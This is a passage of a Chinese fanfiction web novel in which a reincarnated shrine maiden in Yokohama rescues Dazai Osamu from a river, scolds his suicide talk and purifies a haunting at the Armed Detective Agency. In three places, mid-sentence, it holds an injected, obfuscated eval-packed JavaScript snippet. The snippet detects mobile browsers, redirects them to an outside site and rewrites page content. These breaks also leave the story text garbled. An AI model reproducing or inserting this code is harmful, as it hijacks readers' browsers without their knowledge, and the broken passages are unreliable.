《横滨来了个小巫女》 1. 来横滨的第一天 傍晚暮色渐沉,天际残留着一线暗红。 我刚刚结束一次除灵委托。 宽大的巫女服绯袴在晚风中轻拂,我走到了鹤见川下游河畔。 横滨,一个美妙与异能者并存的城市。 但对我来说,这里还有些陌生。 此事说来话长。 我本是战国时代的巫女,为救人而死,却因天生涅槃重生的能力,在五百年后醒来。 在这里,我做起了老本行,拿着帅哥拆弹警官的推荐信加入了竹之宫神社,此地的魑魅魍魉和战国时代差不多,我继续发扬风格,惩恶扬善,执行正义之事。 功德+1+1。 天色慢慢暗了下去。 黑暗唤醒人的恐惧,我本能地想起战国时代那些形态扭曲、面目可憎的妖怪,即便明知现代都市鲜少有那样的存在,震慑感依旧如影随形。 就在这时,河面上一个缓缓漂流的物体吸引了我的目光。 我以为不过是顺流而下的浮木或垃圾袋,没太在意。 可正准备收回视线往前走,河面忽然冒起几缕泡泡。 我定睛看去。 河里飘着的,好像是个人? 一个两脚朝上、随波逐流、仿佛睡着了的人。 有人落水了。 未经思考,属于巫女的救助本能压倒了黑暗水体的轻微惧意,我丢下装着除灵用盐和符纸的布制提袋,甩掉木屐,“噗通”一声跃入河水中。 水流比看起来急,我用手臂劈开水面,奋力游向那个身影。 “喂!你还好吗?坚持住!” 我托住那人的头颈,将他往岸边带。 对方非常配合,甚至在我触碰到他的瞬间,自己就调整了姿势,我省力不少。 我心里划过一丝古怪,但救人心切,无暇细想。 终于连拖带拽地将人弄上岸,我跪在石滩上,顾不上浑身湿透,急忙伸手探查他的呼吸和脉搏。 湿漉漉的黑发贴着我的面颊,水珠顺着发梢滴落在男人衣襟上。 河风从背后吹来,冷的我打了个寒颤。 呼吸,平稳。 脉搏,有力。 就在我检查时,地上的男人缓缓睁开眼睛。 那是一双鸢色的眼,在暮色中映着河面的微光,深邃得看不出情绪。 他没有挣扎,安静地躺在那里,任由水从他额发间淌落。 然后,他的嘴角微微弯起,很淡,却藏着某种说不清道不明的意味。 “啊啦……”男人声音杂着水汽浸润后的微哑,却轻快得不可思议,仿佛刚才不是在河里漂流,只是在午后小憩,“这次是被一位美丽的巫女小姐救了吗?真是一场浪漫的邂逅呢。” 我一愣。 这人说的什么话?都泡成落汤鸡了还搁这儿撩妹呢? 脑子该不会被水泡傻了吧? 方才着急救人,我没来得及细细打量,现下发现人没事,才得空认真地端详起地上这个男人来。 他的装扮有些奇怪,裸露的皮肤和散开的衣物上缠着很多白色绷带,湿透后更加显眼,从手腕延伸到小臂,从脖颈没入衣领。 在我所生活的战国时代,只有重伤员,或某些处理特殊“物品”的人,才会如此包裹自己。 我脑海里浮现出一个可怕的联想——包裹尸块。 那些关于“雨夜杀人魔”“绷带藏尸”的怪异传闻扑棱棱地从脑海深处飞出来。 眼前这个缠满绷带的男人,该不会是什么杀人藏尸的变态,或者被怨灵附身的绷带怪人吧? 我倒抽一口凉气,猛地向后挪开一点距离。 地上那鸢色眼眸的男人慢条斯理地坐起身,拧了拧外套风衣下摆的水,他饶有兴味地看着我瞬间绷紧的警惕神色,然后做出了一个更加出乎我意料的举动。 他伸出手,用一种优雅的姿势,轻轻握住了我还没来得及完全抽离的手腕。 触感冰凉,沾着河水的湿气。 “这位善良的巫女小姐,”他开口了,语调如同在吟咏一首古老的诗,拖长的尾音慵懒,“既然你救了我,说明我们之间有命运的红线相连呢,如此美妙的黄昏,如此动人的相遇……” “请问你愿意和我一起殉情吗?” 我:“哈?” 男人笑了笑,丝毫不觉得自己的话听起来多么有病:“在水中沉眠,据说痛苦很短,之后便是永恒的宁静,听起来很不错吧?” 我的大脑宕机了。 从“落水者”到“绷带怪人”再到“变态殉情邀请者”,信息过载。 我救了一个人。 这个人浑身缠着绷带像个木乃伊。 这个人邀请我一起去死。 什么毛病? 尤其是眼前男人最后说的那个词,“殉情”,点燃了我璃内心深处对生命本能的敬畏与执着。 我想到那些在战国时代目睹的因战乱和妖祸而轻易消逝的生命,那些尸山血海,而我自己,亦是从灰烬中重生,跨越了五百年的光阴站在这条河岸上,每一寸呼吸都是来之不易的奇迹,我实在无法容忍一个人对生命如此轻慢。 恐惧被一种更为激烈的怒意取代,胸腔里那股火越烧越旺,烧得我浑身发热,连湿透的衣服贴在身上都不觉得冷了。 动作快过思考。 我握紧空着的左手,一拳挥出,结结实实地砸在了男人的额角。 这一拳的触感太过真实,指节撞上颅骨时传来的钝痛、对方皮肤上残留的河水凉意,疼得我指节发麻酸胀。 “好疼!”男人立刻松开了握着我手腕的手,捂住额头,整个人夸张地向后仰了仰,痛呼出声,眼眶生理性地泛出一点水光,“小姐你的拳头好硬,不是说巫女都是温柔治愈的吗?” 他一边说,一边从指缝间抬眼觑我。 我跪坐在鹅卵石上,拳头还保持着挥出去的姿势。 几秒钟后,我看见男人指缝间迅速鼓起一个红肿的包。 我:“……” 是不是下手太重了? 虽然他是个变态,但只是个人类,而且很怕疼的样子。 本性善良的我感到一丝丝愧疚。 我叹了口气,从湿漉漉的袖袋里摸出一个古朴的陶瓷药。 这是用灵力温养过的伤药,效果比寻常药物好得多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471681|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不好意思,我被你的话吓到了,下意识的反应,”我把药瓶递过去,眼睛在他额角那团红肿上飞快地一触即离,又迅速移开,“给,涂在肿的地方,很快就不疼了。” 鸢色眼眸的男人微微偏头,没有立刻接过。 他的嘴角还挂着方才那种轻浮的弧度,可笑意并没有真正抵达眼底。 冷不丁被陌生男人这样盯着打量,我有些发毛,索性别开视线,望向流淌的鹤见川。 河面在暮色与夜色的交界处泛起细碎的银光,像谁把一匣子玻璃碴子倒进了水里,每一片都在割着黑暗。 我深吸了一口气。 河水的腥气混着傍晚的凉意灌进胸腔,让刚才那股火气慢慢沉了下去。 “人的生命,是非常、非常宝贵的东西,”我的声音在风中显得有些轻,却很稳,“是奇迹,是馈赠,无论遇到什么事,都不应该轻易说死。” 说到“死”字时,我脑海里闪过战国时代的烽烟,以及自己坠入黑暗时看到的最后一丝天光。 “活着,才能看到明天的樱花,尝到下一次的茶点,遇到更多或许值得珍惜的人和事,”我的嗓音更轻了,像是在说给眼前的男人听,又像是在说给自己听,“这些,都是死掉就没有了的。” 话音落下时,我悄悄转回目光。 男人脸上玩笑的笑意淡了几分,他不再笑了,但也没有任何被触动的表情,垂着眼,修长的手指把玩着那个小药瓶,指尖沿着瓶身一圈一圈地摩挲,像在描摹什么看不见的纹路。 他没有回应我的话。 我并不介意这些,只是把想说的说出来罢了。 萍水相逢,我本来也没指望对方能被这一席话改变什么。 说服一个一心求死的人活下去,从来不是三言两语能做到的事,这一点,我很清楚。 我站起身,弯腰捡回自己的提袋和木屐。 绯袴湿透后重了许多,水珠顺着衣摆滴落,在鹅卵石上砸出深色的小圆点。 我拎起木屐,赤脚踩在河滩石子上。 走了几步,晚风忽然大了一些,将我的长发吹得凌乱,余光里,我看见男人还坐在原处,风衣下摆被风吹起一角。 我顿了顿脚步,没有回头,继续沿着河岸快步走去。 暮色已经完全沉下去了,天边只剩一线极细的银白,鹤见川两岸的灯火次第亮起,橘黄的光晕在水面上碎成一片,又被水流揉皱、拉长,最终消散在黑暗里。 * 在铃鹿琉璃走出去很远之后,太宰治才站了起来,拍打着风衣上的尘土。 他将那个小药瓶随手放进了靠近心口的内侧口袋里,抬起头,朝铃鹿琉璃离开的这个方向望了一眼。 晚风渐起,扬起小巫女黑直的长发。 直到那道红白身影完全消失在视野中,太宰治才转过身离开。 河风吹干了太宰治脸上的水渍。 “宝贵的……生命吗?” 他低声自语,轻笑了一声,很快恢复了往日满不在乎的姿态,双手插兜,哼着不成调的殉情之歌,脚步轻快地向着与琉璃相反的方向,没入横滨璀璨而奢华的夜色之中。 2. 来横滨的第二天 回到竹之宫神社的时候,月亮已经升起来了。 我沿着石阶一级一级往上走。 两侧的石灯笼亮着昏黄的光,照亮苔痕斑驳的石壁和从缝隙里探出来的蕨叶。 穿过鸟居,绕过正殿,沿着回廊往西走,到了我住的地方。 竹之宫神社不大,建筑格局却规规矩矩的——正殿、拜殿、神乐殿一应俱全,再往后便是社务所和居所。 我在西厢,是紧挨着社务所的一排樟子门房间,朝南,白天光线好,冬天也暖和,纸门上的障子纸是新换的,透着一层柔和的米白色,在夜色里泛着淡淡的暖光。 老神官说,这是给我这个“唯一的实战派巫女”的特殊待遇。 我倒觉得,神官把我安排在这里住,纯粹是因为西厢离正殿最远,我半夜出勤回来不会吵到他睡觉。 廊下的灯还亮着。 我刚踏上缘侧,还没来得及脱鞋,就听见里面身侧一阵熟悉的脚步声。 “哦!琉璃!你回来了!” 我拉开樟子门的手顿住了。 老神官穿着一件洗得发白的灰色衬衫,外面松松垮垮地套着狩衣的外袍,腰带系得歪歪扭扭,随便缠了两圈,头发也乱糟糟。 但这些都不是重点。 重点是,老神官的左脸颊上贴着两块创可贴,额角有一块青紫色的淤伤,肿起老高,嘴角破了一小块,结着深褐色的血痂。 他就顶着这样一张五彩斑斓的脸,冲我笑嘻嘻地招手:“今天除灵还顺利吧?” 我站在门口,一只手还搭在门框上。 我看着老神官。 老神官看着我。 “……您这是又怎么了?” “啊?这个啊?”老神官抬手摸了摸自己脸上的创可贴,“没事没事,小事情,哈哈哈哈哈!” 他笑起来的时候,嘴角的伤口被扯动,他“嘶”了一声,但笑容丝毫没有收敛,反而咧得更开了。 我叹了口气。 “您先进来吧。”我把布制提袋放在门边,甩掉木屐,赤脚踩上缘侧。 木地板冰凉,脚趾本能地蜷了蜷。 “我没事——” “请进来。” “哦。” 白胡子老头乖乖走了进来。 我也走进屋里,从柜子里翻出药箱。 药箱是竹制的,边角已经磨得圆润发亮,提手上缠着一圈旧旧的麻绳,那是老神官给我,说拎着顺手。 “您这次又栽进哪里了?”我蹲下身,从里面翻出碘伏和棉球,头也不抬地问。 老神官坐在桌案后面,双手交叠放在桌上,听到我的问题,他眨了眨眼,然后“嘿嘿”笑了两声。 “掉泥坑里了。” “……泥坑?” “嗯!”他用力点了点头,“喝酒喝高兴了嘛,回来的路上没看清路,一脚踩进去,咕咚——哈哈哈!” 老神官用手比划了一个摔倒的姿势,动作太大,差点又从凳子上滑下去,手忙脚乱地扶住桌沿,稳住了。 我拿着棉球的手悬在半空,盯着他那张笑嘻嘻的脸,问道:“您今年多大了?” “六十七,身体硬朗得很。” 六十七岁的人,喝醉了酒,掉进泥坑里,摔得满脸是伤,回来还自己瞎贴创可贴。 我放弃了和一个醉酒长辈讲道理的想法。 “我给您重新上药吧。” 我用棉球蘸着碘伏,轻轻擦拭老神官额角的淤伤和嘴角的血痂。 碘伏接触到伤口的时候,他“嘶嘶”地抽了两口凉气,但没有躲开。 “疼?” “不疼不疼!”他说,然后缩了缩脖子,“……有点。” 我手上的动作放轻了些。 屋里的灯光昏黄而温暖,照着老神官花白的头发和皱巴巴的衬衫。 药箱打开着横在桌面上,棉球和纱布散了一桌,窗外有虫鸣,细细密密的,像是有人在远处摇着沙锤。 空气里弥漫着碘伏清冽的气味和榻榻米淡淡的草香。 “琉璃啊,”老神官忽然开口叫我。 “嗯?” “最近萩原君有没有和你联系?” 我擦药的手微微顿了一下。 “没有,”我说,“怎么突然问这个?” “哦,没什么没什么,”老神官笑呵呵地摆手,“就是最近我一个人喝酒太没意思了嘛,想起那小伙子了。那孩子好啊,会喝酒,还会陪我聊天——” “要不是他,我们神社怎么能遇到琉璃你这样能干聪明的巫女呢。” 我没有说话。 棉球在指尖转了一圈,被我放进了废物袋里。 我低头收拾药箱,把碘伏的盖子拧紧,把纱布叠好放回原位,把棉签一根一根地归拢。 萩原君,萩原研二,那个在米花町把我从爆炸现场拽出来的拆弹警官,那个发现我的灵力后思考半晌,然后认真地对我说“米花町不太适合你,我推荐你去一个地方”。 他笑起来很好看、喝酒很痛快、和老神官能从天亮聊到天黑。 他已经很久没有消息了。 “他可能很忙吧,”我合上药箱,手指摩挲着箱盖上那条磨得发亮的麻绳,“拆弹警官的工作,本来就很忙。” 米花町高犯罪率在那儿放着呢,炸弹,只会出现在米花町群众想不到的地方,没有它放不到的地方。 “是吗……”老神官点点头,“那等他下次来,我要好好跟他喝一杯!琉璃你也一起嘛!年轻人别老是闷着,喝酒多开心啊!” “我不喝酒。” “喝茶也行啊!” “……” 我把药箱放回柜子里,转过身来,看着老神官那张五彩斑斓的笑脸。 “您今晚喝了多少?”我问。 他伸出三根手指,想了想,又加了一根:“四罐!不多不多!” “……” “行了,”我走过去,伸出手,“我扶您回房间休息。” “不用不用,我自己能走——” 他试图站起来证明自己,结果膝盖一软,整个人往旁边歪了一下。 我眼疾手快地扶住了他的胳膊,把他稳住了。 “走吧。” “麻烦琉璃了。” 安顿好老神官后,我走回西厢。 中庭院子里的那棵老樱花树枝干虬结,在月色下投下一片浓重的阴影,春天的时候它会开满白色的花,花瓣落下来铺满整个院子。 老神官说,那棵树是他祖父种下的,有几百多年了。 我回到自己的房间,拉开樟子门,月光立刻涌了进来,把整个房间照得亮堂堂的。 我脱下被灵力烘干的巫女服,挂在门后的衣架上。 换上干净的睡衣之后,我躺进被子里,把被子拉到下巴。 我闭上眼睛,莫名地想到今晚在鹤见川旁救下的那个绷带美男子。 鸢色的眼眸,在暮色河面的微光里映着碎金般的水影,明明在笑,深处却像是空了很大一块,什么也填不满。 还有那些湿漉漉地缠在他身上的绷带,不像伤者的包扎,倒像某种封印,裹着一段不愿示人的过往。 还有他那句“一起殉情”。 在战国时代,我见过太多面对死亡的面孔——有恐惧的、有不甘的、有愤怒的、有绝望的,也有释然的,但从来没有一个人,能把死亡说得这样轻,轻得像一片落在水面的羽毛,连涟漪都懒得泛起。 他是真的不怕死。 他说那句话的时候,甚至很是期待,好像是一个人在黑暗中走了太久太久,终于看见前方有一点光亮,便忍不住要与人分享,哪怕那光亮是深渊的入口,他也觉得比这无尽的黑暗要好。 倒是他被我揍了之后,捂着额角喊疼的样子,那双空洞的眼睛里忽然有了生气,水光浮动,委屈巴巴的。 那一刻,他看起来,反而像个活人了。 * 第二天,早饭吃到一半,我放在桌上的手机震了一下。 我拿起来看,是同事发来的消息。 竹之宫神社除了老神官和我之外,还有两个常驻巫女——佐佐木凛和桥本千鹤,她们负责白天的神社事务,比如售卖御守、写朱印、打扫正殿、接待参拜客之类的工作。 我和她们的交集不多,因为我的工作时间通常是黄昏以后,而且干的事情和她们完全不是一个画风。 她们在卖御守的时候,我在和怨灵搏斗;她们在写朱印的时候,我在净化被诅咒的地脉。 我和佐佐木凛比较熟,我刚来横滨那几天,还是她带着我熟悉了附近的路和超市的位置。 消息的内容是这样的: 【琉璃酱,早上好!今天有空吗?我本来和贤治君约好了要送他种子,但临时要去一趟横滨站那边取货,实在走不开,你能不能帮我送到武装侦探社楼下的咖啡厅?他会在那里等我。拜托拜托!回来给你带车站那家店的铜锣烧!】 消息下面附了一张图片,是一个牛皮纸袋,袋口用麻绳系着,标签上用圆滚滚的字体写着“宫泽贤治様”几个字。 我盯着“宫泽贤治”这个名字看了几秒。 我对这个人没什么印象,只记得凛好像提过一嘴,说有一个在武装侦探社工作的年轻人,特别喜欢种东西,总向她讨要神社里自产的天然种子,两个人就是因为这个认识的。 武装侦探社。 这个名字我倒是听过。 横滨有两个很出名的异能者组织,港口Mafia、武装侦探社。 我刚来的时候,推荐我来横滨的萩原警官在电话里提过:“那边有些特殊的人,但大多是好的,你不用太担心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471682|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 我回复了一个“好”字,放下手机,把最后一口饭团塞进嘴里。 * 武装侦探社的办公楼在横滨的元町附近,是一栋红砖砌的老建筑,看起来有些年头了,但保养得很好。 楼下有一家咖啡厅。 我站在街对面,手里拎着那袋种子,仰头看了看这栋楼,穿过马路,推开咖啡厅的玻璃门。 门上的风铃“叮铃”响了一声。 咖啡厅里人不多,靠窗的位置坐着几个看报纸的老人,吧台后面站着一个穿围裙的中年男人,正在擦杯子。 我环顾四周,按照手里的照片寻找那个叫宫泽贤治的人。 一个穿着背带裤、头发颜色像麦穗一样金黄的少年,正坐在角落的位置上,面前摊着一本打开的书。 他面前的桌上摆着一杯已经凉了的茶,和一盆……草? 我走近两步,看清了那盆东西。 确实一株刚发芽的幼苗,种在一个看起来像是手工捏制的陶盆里,盆身上歪歪扭扭地刻着“贤治”两个字。 “您好,”我走过去,微微欠身,“请问是宫泽贤治先生吗?我是竹之宫神社的巫女,替佐佐木凛来送种子的。” 少年抬起头,他先是愣了一下,然后脸上绽开了一个灿烂的笑容。 “啊!是的!我是贤治!”他站起来,动作有些莽撞,差点碰翻了桌上的茶杯。 他手忙脚乱地扶住杯子,不好意思地挠了挠后脑勺:“凛小姐今天有事吗?麻烦你跑一趟,真是不好意思!” “不麻烦,”我把纸袋递过去,“凛说这是您要的种子,都是神社里自产的,没有用过农药。” “太好了!”贤治接过纸袋,小心翼翼地捧在手里,低头看着袋子里那些种子,眼睛里亮晶晶的,“今年的番茄和黄瓜一定能长得很好,上次凛小姐给我的种子,已经发芽了,你看,就是这盆。” 他指了指桌上的那盆幼苗。 嫩绿的叶片刚从土里探出头来,叶面上还沾着细小的水珠,在阳光下晶莹剔透的,确实长得很精神。 “长得很好的。”我夸了一句。 宫泽贤治笑得更开心了,露出一口白牙。 “对了,巫女小姐,我还不知道你的名字呢。” “铃鹿琉璃。”我说。 “琉璃小姐,”贤治很自然地叫了我的名字,“谢谢你专程跑一趟,要不要坐下来喝杯茶?这家的咖啡很好喝,红茶也不错。” “不用了,我——” 话还没说完,咖啡厅的门再次被推开,风铃“叮铃叮铃”地响了好几声。 然后,一个我绝对不会认错的声音从身后响了起来—— “哟,巫女小姐。” 那嗓音含笑,尾音微微上扬,像是在舌尖上滚过一圈才懒洋洋地吐出来。 “真有缘分呢,我们又见面了。” 我抿了抿唇,缓缓转过身。 又是他。 昨天在鹤见川边遇见的那个绷带男人。 今天又出现在咖啡厅门口。 这横滨也挺大一城市,偏偏隔天就撞见第二次,这是什么特别的缘分? 绷带美男子站在咖啡厅的门口,逆着午后的阳光。 我麻木地微笑,眼神下意识落在他的左额角上。 那里有一个紫红的淤痕,还没有完全消退。 绷带美男子注意到我的视线,抬手摸了摸那个位置,鸢色的眼睛往下耷拉了一点。 “托您的福,昨晚疼了好久呢。” 语气平淡,像在陈述一件与自己无关的小事,但那道淤痕实在显眼,配上他若无其事的表情,反而有种说不出的违和感。 “什么?”贤治茫然地看了看他,又看了看我,“太宰先生,你和琉璃小姐认识?” 太宰? 贤治君认识这个家伙,难道他是武装侦探社的人? “太宰……先生,”我干巴巴地开口,问出心中疑惑“您在武装侦探社的工作?” “我在这里工作啊,”他理所当然地说,鸢色眼睛里映着我的倒影,“巫女小姐该不会以为我是那种在河里漂来漂去的无业游民吧?” 我:“……” 我就是这么以为的。 我甚至以为你是杀人藏尸的变态。 我在心里默默地想,面上笑容纹丝不动。 “哎呀,太宰先生,原来你们认识啊,”贤治在一旁兴奋地插嘴,“太好了!那琉璃小姐也坐下来喝杯茶吧,太宰先生也一起!” “好主意贤治君,”太宰治轻快地走过来,毫不客气地在宫泽贤治旁边的椅子上坐下,然后仰起头看我,像是猫盯上了什么好玩的东西。 “坐啊,巫女小姐,”他拍了拍身边的椅子,热情邀约,“难得有缘相遇,不聊几句吗?” “……” 3. 来横滨的第三天 我在对面的椅子上坐下来。 太宰先生治托着下巴看我,鸢色的眼睛从头到脚地把我打量了一遍。 “巫女小姐今天也穿的正式的巫女服,”他评论道,“昨天那套湿透了,应该晾干了吧?” “干了。” “那就好,”他点点头,一副很关心的样子,“湿衣服穿着容易感冒的。” “对了,巫女小姐叫什么名字?昨天忘了问呢。” “铃鹿琉璃。” “铃鹿……琉璃,”太宰先生把我的名字念了一遍,“好名字,琉璃——清澈易碎,却又美丽得让人移不开眼,很适合巫女小姐。” 他说这话的时候,嘴角噙着笑,眼睛却认真地看着我,鸢色的虹膜在午后的光线里呈现出一种温暖的琥珀似的色泽。 我被他看得有些不自在,移开了目光。 “我叫太宰治,”太宰治自我介绍道,“武装侦探社的一员,请多指教,琉璃小姐。” “请多指教。”我机械地回了一句。 宫泽贤治在旁边举手:“我是宫泽贤治,也是武装侦探社的,琉璃小姐以后有什么需要帮忙的尽管说。” 我冲宫泽贤治笑了笑。 还是这个少年让人心情愉快。 阳光又开朗。 “对了对了,琉璃小姐,”宫泽贤治忽然想起什么似的,身体往前探了探,眼睛里闪着好奇的光,“太宰先生说你们昨天见过面?是在哪里见的啊?” 我:“……” 太宰治:“在鹤见川的河边哦,贤治君,我当时掉进水里了,是琉璃小姐把我救上来的。” 宫泽贤治瞪大了眼睛:“诶?!太宰先生你又——” 宫泽贤治想起旁边还坐着一个人,捂住嘴巴,然后压低声音,一脸紧张地凑过去:“太宰先生你又去尝试那个了吗?” “嗯哼。” “琉璃小姐救你的时候一定很担心吧?” “她可没有担心,”太宰治瞥了我一眼,“她还在我额头上留下了一个很棒的纪念品呢。” 他指了指自己额角的那块淤痕。 贤治顺着太宰治的手指看过去,倒吸一口凉气:“好大的包!琉璃小姐打的吗!” “嗯,”太宰治点点头,“一拳就打出来了,很厉害吧?” 贤治瞪大了眼睛,看看太宰治,又看看我,嘴巴张了又合,合了又张,最后发出一声感叹:“琉璃小姐好厉害!” “……” 我听着两个人的对话,已经不知道该做出什么表情了。 一个昨晚邀请我殉情,一个夸我打人打得好,用一种完全不合常理的方式,把我对这个城市的认知又刷新了一遍。 横滨,不愧是你。 * 我门从咖啡厅出来的时候,午后的阳光正铺满整条街道。 我眯了眯眼,适应了一下光线的变化。 “今天真是麻烦你了,琉璃小姐,”宫泽贤治跟在我身后出来,怀里抱着那袋种子,“这些种子我一定会好好种的,等番茄长大了,我送一些到神社去。” “不用客气,”我说,“路上小心。” “嗯!琉璃小姐也——” 宫泽贤治的话还没说完,一阵急促的脚步声从街道另一头传来。 “哒——宰——!” 那声音像一种火山喷发前的压抑怒气,每一个音节都像是从牙缝里挤出来的,沉重有力。 我循声望去。 一个高大的男人正气势汹汹地朝这边快步走来。 他戴着一副眼镜,镜片在阳光下反着光,看不清眼神,但那张脸绷得很紧,手里攥着一个印着“理想”二字的手账本。 他目标明确地冲着太宰治而来。 太宰治丝毫不慌,悠闲地靠在咖啡厅门口的墙柱上,一只手插在口袋里,另一只手对着阳光,捏着刚从贤治那儿顺来的种子。 “哒宰!”高大的男人在太宰面前三步远的地方刹住脚步,瞪着太宰,胸腔剧烈起伏着,显然是一路跑过来的。 “上午的仓库区巡逻,你根本没做完!” 眼镜帅哥把手账本举到太宰面前,哗啦啦地翻到某一页,手指戳着上面密密麻麻的字迹。 “这里写得清清楚楚——上午九点到十一点,仓库区例行巡逻,确认安全状况并提交报告,你呢?你人呢?” 眼睛男人的声音在整条街上回荡,路过的行人纷纷侧目。 太宰治慢悠悠地从种子上抬起眼睛。 “国木田君,”他开口了,“人生需要诗意和意外嘛~” 太宰治边说边闲闲地从墙柱上直起身来,单手插兜的姿势不变,另一只手伸出去,拍了拍那个叫国木田的男人的肩膀。 “不要生气哦,生气会让皮肤变差的。” “你——! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471683|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 国木田额头上的青筋跳了两跳,手指把手账本攥得嘎吱作响。 “诗意和意外?”他重复了一遍,声音反而低了下来,但那种低气压的感觉比怒吼更可怕,“太宰,你上周的‘诗意’是把任务报告写成了短篇小说,上上周的‘意外’是……” “国木田君,”太宰打断他,语气忽然正经,“你跑过来找我,应该不只是为了巡逻的事吧?” 国木田愣了一下。 “你说得对,”他的声音压低左右看了看,像是在确认周围有没有闲杂人等,目光扫过贤治,又扫过我,在我的身上停了一瞬,然后重新看向太宰治。 “关于侦探社最近的怪事,”国木田语气严肃,“是有问题,刚刚办完案件的乱步先生已经看过了。” 太宰治的表情终于有了一点变化。 “哦?乱步先生怎么说?” “乱步先生说,是恶灵作祟。” 恶灵。 我猛地抬起头。 巫女职业雷达启动。 同一时间,太宰治也看向我。 国木田继续说:“乱步先生已经推理出了来源和性质,但他说要找到办法除掉它,需要专业人士,他让我们去找巫女,或者能对付恶灵的东西。” 他说到“巫女”两个字的时候,目光往我这边飘了一下,然后又迅速收回去。 我猜,这位国木田先生大概觉得我太年轻,只是一个路过的穿着巫女服的普通女孩子。 “所以,”国木田推了推眼镜,重新看向太宰治,“你知道横滨哪里有靠谱的巫女吗?或者神社也行,乱步先生说越快越好,那东西似乎在变得越来越活跃,需要强大的灵力才能震慑住。” 太宰治没有回答,他转过头来,笑着看向我。 “远在天边,近在眼前。” 他朝我这边偏了偏头,动作不大,但意思非常明确。 所有人的目光都顺着他的视线,齐刷刷地落在了我身上。 宫泽贤治对掌拍手:“对哦,琉璃小姐就是巫女。” 国木田的表情从困惑变成惊讶,又从惊讶变成一种审视。 他上上下下地打量着我,目光在我的巫女服、木屐,像是在评估什么。 而太宰治已经朝我走了两步。 “琉璃小姐,”他神情很郑重,和刚才跟国木田插科打诨时的懒散判若两人,“麻烦你了。” 4. 来横滨的第四天 武装侦探社的办公室在红砖楼的四层。 “就是这里了,”国木田在四楼的平台处停下脚步,侧身让开门口的位置,伸手推开了那扇贴着“武装侦探社”铭牌的木门。 门开了。 屋里是一个打通了的开放式办公室,几张办公桌随意地摆着,桌上堆满了文件、笔记本和茶杯,窗边的位置有一张沙发。 墙上挂着一块白板,上面用磁铁固定着几张照片和手写的便签,字迹龙飞凤舞的,看不太清写的是什么。 靠里的位置有一扇关着的门,大概是会议室或者某个人的私人办公室。 “琉璃小姐,”国木田侧身让出一条路,“请进。” 我朝他颔首,迈步走进办公室。 从踏入这扇门的那一刻起,我就感觉到了。 那是一种陈年的血煞气,混着某种说不清的苦涩,像被烧焦的木头泡在冷水里,味道已经不浓了,但那种质地,那种附着在空间深处的沉重感,瞒不过我的鼻子。 不是恶灵,是怨气。 亡者的怨气。 很淡,很旧,像是很多年前留下的,它不试图攻击任何人,只是蜷缩在这个空间的某个角落里,像一只蜷缩在墙角受了伤的动物。 如果不是专门来感应,普通人甚至不会察觉到任何异常,那些椅子移动、门窗打开的怪事,大概只是它偶尔翻个身,无意识地扰动了一下周围的空气。 我闭上眼睛,让灵力像水一样从身体里流淌出来,沿着地板蔓延开去,去触碰那个蜷缩在角落里的东西。 它没有反抗,甚至,它在接触到我的灵力的时候,微微地颤动了一下。 像是一个沉睡的人,在梦里感受到了温暖的阳光。 “这里……”我睁开眼睛,转向国木田,“以前死过人?” 办公室里的空气忽然安静了。 “是的,”国木田娓娓道来,“这栋楼很多年以前发生过一起命案,在我们搬进来之前,具体的细节我也不太清楚,只知道有一个女人在这里被人杀害了。” “是怨气,”我解释道,“不是恶灵,是亡者留下的怨气,因为没有得到妥善的安抚,就一直留在了这里,它不会害人,只是偶尔会扰动一下周围的东西,你们看到的那些怪事,应该就是这个。 武装侦探社社长也是个狠人,买了个凶宅当工作单位。 “不用除,净化就可以了。” 我走到办公室的中央位置,在那个怨气最浓的地方站定,垂下眼,双手交叠在身前,拇指相抵,其余八指自然伸展。 我闭上眼睛,让灵力从指尖流淌出去,像水渗入干涸的土地,缓慢地包裹住那个蜷缩在角落里的怨气。 “没事了,”我轻声说,“已经过去了。” 它走的时候,很安静,没有挣扎抗拒,轻轻地散开了,像一团被风吹散的蒲公英。 我睁开眼睛。 “好了,”我把手放下来,转向国木田,“国木田先生,净化完成,以后不会再有那些怪事了。” 国木田愣了一下。 “就……这样?”他推了推眼镜,难以置信,“琉璃小姐刚才做了什么?” “净灵,”我说,“很基础的东西,不复杂,只是这里的怨气时间比较久了,需要稍微多用一些灵力。” 宫泽贤治崇拜地望着我:“好厉害!” 我冲金发少年笑了笑。 我能感觉到,他和国木田先生一样迷茫,只不过少年给面子在捧场。 太宰治靠在门框上。 从刚才开始,他就一直靠在门框上,双手插在口袋里。 他在笑。 很真实的笑,像是看到了什么有趣的东西,让他发自内心地感到愉快。 他的目光一直落在我身上,从净灵开始到结束,没有移开过。 * 意外获得一笔报酬的我开开心心走出侦探社。 太宰治主动送我下楼。 很热心一帅哥。 